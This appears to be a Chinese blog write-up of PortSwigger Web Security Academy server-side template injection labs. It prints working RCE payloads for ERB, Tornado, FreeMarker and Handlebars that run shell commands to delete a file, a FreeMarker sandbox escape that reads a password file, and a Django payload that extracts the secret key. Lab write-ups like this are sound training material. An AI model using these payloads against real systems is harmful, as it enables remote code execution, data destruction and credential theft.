Portswigger web security academy:Server-side template injection(SSTI)
Portswigger web security academy:Server-side template injection(SSTI)
- Portswigger web security academy:Server-side template injection(SSTI)
- Basic server-side template injection
- Basic server-side template injection (code context)
- Server-side template injection using documentation
- Server-side template injection in an unknown language with a documented exploit
- Server-side template injection with information disclosure via user-supplied objects
- Server-side template injection in a sandboxed environment
Basic server-side template injection
题目要求:

这道题要删除
morale.txtERB:全称是Embedded RuBy,意思是嵌入式的Ruby,是一种文本模板技术。
解题步骤:
进来看都是商品,点了第一个,提示卖完了,然后看到url里有可控参数
message,于是查了一下ERB的用法,打了个<%= 2*2 %>,回显4,说明这里存在ssti
去查了ruby进行系统命令执行的方法
exec 'command',然后ls
发现
morale.txt就在该目录下<%= exec 'rm morale.txt' %>参考:
Basic server-side template injection (code context)
题目要求:

这是一个Tornado框架下的ssti,要求还是删除
morale.txt解题步骤:
题目给了提示,要注意
preferred name功能点,我用burp抓包改了半天也不见回显( 我以为回显点在邮箱角的id处),然后去blog列表看了看,看到了评论功能,随手评论了一下
有回显了,接下来就用repeater改参数,然后看评论
{{ ().__class__.__bases__.__getitem__(0).__subclasses__().pop(59).__init__.func_globals['linecache'].os.popen('ls').read() }}
发现
morale.txt就在当前目录下{{ ().__class__.__bases__.__getitem__(0).__subclasses__().pop(59).__init__.func_globals['linecache'].os.popen('rm morale.txt').read() }}删除,然后刷新页面,pass
参考:
https://www.cnblogs.com/R3col/p/12746485.html
(这里有个小插曲,我用这篇博客里的命令执行payload会提示“dict 没有属性 linecache”,于是改成了['xxx']形式)
Server-side template injection using documentation
题目要求:

要求还是一样,删除
morale.txt解题步骤:
这是个管理员账号,可以修改template,随便点一个商品,然后修改模板

说明这里存在ssti
然后在
${}里随便输点内容,有报错,发现是freemarker,查了资料,打了个payload<#assign test="freemarker.template.utility.Execute"?new()> ${test("ls")}
有效,直接删除文件
<#assign test="freemarker.template.utility.Execute"?new()> ${test("rm morale.txt")}参考:
https://blog.csdn.net/weixin_33967071/article/details/89831707
Server-side template injection in an unknown language with a documented exploit
题目要求:

还是一样,删除
morale.txt解题步骤:
先点一个商品,发现和前边做过的题一样,会提示已售空,提示信息在url中,可控,尝试
{{4*4}}
发现是
Node.js+Handlebars模板引擎搜了一下
Handlebars server-side template injection,看到一篇介绍,里面跳到了一篇关于HandlebarsSSTI导致RCE的文章,根据介绍和文章,构造payload:{{#with "s" as |string|}}
{{#with "e"}}
{{#with split as |conslist|}}
{{this.pop}}
{{this.push (lookup string.sub "constructor")}}
{{this.pop}}
{{#with string.split as |codelist|}}
{{this.pop}}
{{this.push "return require('child_process').exec('rm morale.txt');"}}
{{this.pop}}
{{#each conslist}}
{{#with (string.sub.apply 0 codelist)}}
{{this}}
{{/with}}
{{/each}}
{{/with}}
{{/with}}
{{/with}}
{{/with}}
URLencode一下就可以了
Server-side template injection with information disclosure via user-supplied objects
题目要求:

要获取
secret key,解题步骤:
先进入模板编辑页面,打个
payload
从提示信息可以看出是django框架,根据题目的提示,思路就有了
通过某种方式找到django默认应用admin的model,再通过这个model获取settings对象,进而获得secret_key因为之前接触过django和tornado,稍微了解一些,尝试了一下
{{ settings.SECRET_KEY}},成功拿到SECRET_KEY
Server-side template injection in a sandboxed environment
题目描述
这道题使用了
Freemarker模板引擎,因为沙盒的实现很糟糕,所以存在ssti漏洞要求逃逸沙河并读取
my_password.txt解题步骤
google了一大圈,没有找到相关度很高的文章,先看看官方solution吧
${product.getClass().getProtectionDomain().getCodeSource().getLocation().toURI().resolve('/home/carlos/my_password.txt').toURL().openStream().readAllBytes()?join(" ")}
还是一样的思路,通过可调用对象来获取所有类,然后根据需求层层调用方法。
返回的是ascii值,写个脚本解一下就行
s = ''
s = s.split(' ')
for x in s:
print(chr(int(x)), end='')
很多ssti的题目都是这种感觉,思路是有的,但是缺乏寻找目标函数的高效方法。感觉最高效的就是看相关的安全文章和报告,因为官方文档中很少会介绍这些安全相关的函数用法。
Portswigger web security academy:Server-side template injection(SSTI)的更多相关文章
- Portswigger web security academy:Reflected XSS
Portswigger web security academy:Reflected XSS 目录 Portswigger web security academy:Reflected XSS Ref ...
- Portswigger web security academy:WebSockets
Portswigger web security academy:WebSockets 目录 Portswigger web security academy:WebSockets Lab: Mani ...
- Portswigger web security academy:Cross-origin resource sharing (CORS)
Portswigger web security academy:Cross-origin resource sharing (CORS) 目录 Portswigger web security ac ...
- Portswigger web security academy:XML external entity (XXE) injection
Portswigger web security academy:XML external entity (XXE) injection 目录 Portswigger web security aca ...
- Portswigger web security academy:Cross-site request forgery (CSRF)
Portswigger web security academy:Cross-site request forgery (CSRF) 目录 Portswigger web security acade ...
- Portswigger web security academy:OAth authentication vulnerable
Portswigger web security academy:OAth authentication vulnerable 目录 Portswigger web security academy: ...
- Portswigger web security academy:Server-side request forgery (SSRF)
Portswigger web security academy:Server-side request forgery (SSRF) 目录 Portswigger web security acad ...
- Portswigger web security academy:Clickjacking (UI redressing)
Portswigger web security academy:Clickjacking (UI redressing) 目录 Portswigger web security academy:Cl ...
- Portswigger web security academy:OS command injection
Portswigger web security academy:OS command injection 目录 Portswigger web security academy:OS command ...
随机推荐
- PowerShell的使用
一:基于winserver2008版本powershell2.0的升级(至4.0) (1)首先:查看各版本的Powershell版本,如下所示: (2)打开虚拟机winserv ...
- Java安全初学之反射
前言: 复现fastjson的时候深深意识到了需要好好学习一下Java和Java安全,激情的学习了一番java安全中重要的几部分:反序列化.反射.rmi.动态代理,从反射开始做个总结. 反射:java ...
- 如何使用excel制作查分系统
在工作学习中,我们经常会遇到使用excel制作查分系统这样的问题.培根说过:读书足以恬情,足以博采,足以长才.因此,面对使用excel制作查分系统我们应该有努力探索的精神.书到用时方恨少,事非经过不知 ...
- WPF 应用 - 使用 Properties.Settings 保存客户端密码
1. 先在项目的 Settings.settings 新建需要的字段和类型 有需要还可设置初始默认值 2. 启动客户端时,获取 Properties.Settings 的属性值 public void ...
- c语言链表从本地文件中读取和写入数据
1 typedef struct Data{ 2 40 char *name; 3 41 char *IDCARD; 4 42 char *job_id; 5 43 char *length; 6 4 ...
- 电影AI修复,让重温经典有了新的可能
摘要:有没有一种呈现,不以追求商业为第一目的,不用花大价钱,不用翻拍,没有画蛇添足,低成本的可共赏的让经典更清晰? 本文分享自华为云社区<除了重映和翻拍,重温经典的第三种可能>,原文作者: ...
- java常用算法笔记
1.将一个10进制的c转换为n进制 String s=new BigInteger(c+"",10).toString(n); 2. 求一个解退出 System.exit(0): ...
- PAT (Advanced Level) Practice 1001 A+B Format (20 分) 凌宸1642
PAT (Advanced Level) Practice 1001 A+B Format (20 分) 凌宸1642 题目描述: Calculate a+b and output the sum i ...
- Python基础(八):字符串的使用(下)
find() 功能:检测字符串是否包含指定字符.如果包含指定字符,则返回开始的索引:否则,返回-1. >>> st = "hello world" >> ...
- Java后端进阶-网络编程(Netty线程模型)
前言 我们在使用Netty进行服务端开发的时候,一般来说会定义两个NioEventLoopGroup线程池,一个"bossGroup"线程池去负责处理客户端连接,一个"w ...